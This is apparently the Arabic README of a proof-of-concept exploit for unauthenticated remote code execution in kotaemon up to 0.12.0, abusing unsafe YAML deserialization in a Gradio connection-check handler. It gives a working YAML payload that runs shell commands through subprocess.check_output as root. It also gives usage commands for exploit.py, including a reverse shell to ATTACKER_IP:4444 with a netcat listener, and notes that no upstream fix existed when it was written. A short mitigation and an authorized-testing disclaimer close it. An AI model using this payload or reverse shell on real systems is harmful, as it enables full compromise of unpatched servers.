
استغلال تنفيذ تعليمات برمجية عن بُعد دون مصادقة يستهدف إلغاء تسلسل YAML غير الآمن في فحوصات اتصال LLM؛ يدعم تنفيذ أوامر عشوائية وقذائف عكسية عبر واجهة Gradio API المكشوفة.
تنفيذ تعليمات برمجية عن بُعد دون مصادقة في kotaemon (<= 0.12.0) عبر إلغاء تسلسل غير آمن في فحص الاتصال بإعدادات LLM.
معالج Gradio check_connection الخاص بإعدادات LLM في kotaemon (libs/ktem/ktem/llms/ui.py) يحلّل مواصفة YAML مقدَّمة من المهاجم ويلغي تسلسلها بطريقة غير آمنة:
spec = yaml.load(selected_spec, Loader=YAMLNoDateSafeLoader) # attacker YAML
info["spec"].update(spec)
llm = deserialize(info["spec"], safe=False) # <-- safe=False
يحلّ theflow.deserialize(..., safe=False) (theflow/utils/modules.py) مفتاح __type__ في المواصفة عبر import_dotted_string بدون قائمة مسموحات (allowlist)، ثم ينشئ مثيلًا منه باستخدام وسائط kwargs يتحكم بها المهاجم:
if isinstance(value, dict) and "__type__" in value:
cls = import_dotted_string(value["__type__"], safe=False) # imports ANY dotted path
params = {k: deserialize(v, safe=False) for k, v in value.items() if k != "__type__"}
return cls(**params) # instantiates with attacker kwargs
إذن، أي مواصفة يكون __type__ فيها هو subprocess.check_output تنفّذ أمر نظام أثناء إلغاء التسلسل (CWE-502).
أمران يجعلانها ثغرة RCE نظيفة دون مصادقة:
auth=. لا يغيّر "تسجيل الدخول" سوى إظهار/إخفاء تبويبات الواجهة؛ فكل معالج أحداث مسجَّل يمكن لأي شخص استدعاؤه. لا يقيّد KH_FEATURE_USER_MANAGEMENT واجهة HTTP أو واجهة قائمة الانتظار (queue API).info["spec"].update(<attacker yaml>) مواصفة LLM بالكامل، لذا لا تتصل الحمولة بأي مزوّد LLM حقيقي.تعمل صورة Docker الرسمية لـ kotaemon بصلاحيات root، لذا يُنفَّذ الكود بصلاحيات root. لا يوجد إصلاح من المصدر الرسمي (upstream) وقت كتابة هذا التقرير.
مواصفة YAML المُرسَلة:
__type__: unittest.mock.Mock
return_value:
__type__: subprocess.check_output
args: [sh, -c, "<cmd>"]
text: true
تتعمّق deserialize في return_value أولًا → ينفّذ subprocess.check_output(args=["sh","-c","<cmd>"], text=True) الأمر. إن تغليف هذا الاستدعاء داخل unittest.mock.Mock يمتص أي وسائط kwargs متبقية من المواصفة الأساسية (model/api_key) بحيث لا يفشل الاستدعاء الخارجي أبدًا، وتُعاد مخرجات الأمر (stdout) في رسالة Got response: ... الخاصة بالمعالج.
يعتمد على المكتبة القياسية فقط (Python 3). يُجري الاستغلال استدعاءين لـ Gradio: create_llm (لإنشاء إدخال LLM باسم محدد حتى يتم حلّ llms.info()[name]) ثم check_connection (لتسليم الحمولة).
# run a command as root; output is returned in the response
python3 exploit.py http://TARGET:7860/ -c id
# -> ... Got response: uid=0(root) gid=0(root) groups=0(root)
# reverse shell (start a listener first: nc -lvnp 4444)
python3 exploit.py http://TARGET:7860/ --shell ATTACKER_IP:4444
إذا اختلفت أسماء المعالجين create_llm / check_connection على الهدف، فاستخرجها من GET /config (dependencies[].api_name) وعدّل وفقًا لذلك.
الإصدارات kotaemon <= 0.12.0 (المنفذ الافتراضي 7860). لا يتوفر تصحيح من المصدر الرسمي (upstream) وقت كتابة هذا التقرير.
deserialize مع safe=True وقائمة مسموحات allowed_modules حتى لا يصل أي __type__ من المهاجم إلى import_dotted_string.لأغراض اختبار الاختراق المصرح به والتعليم فقط. استخدمه فقط ضد أنظمة تملكها أو لديك إذن صريح لاختبارها.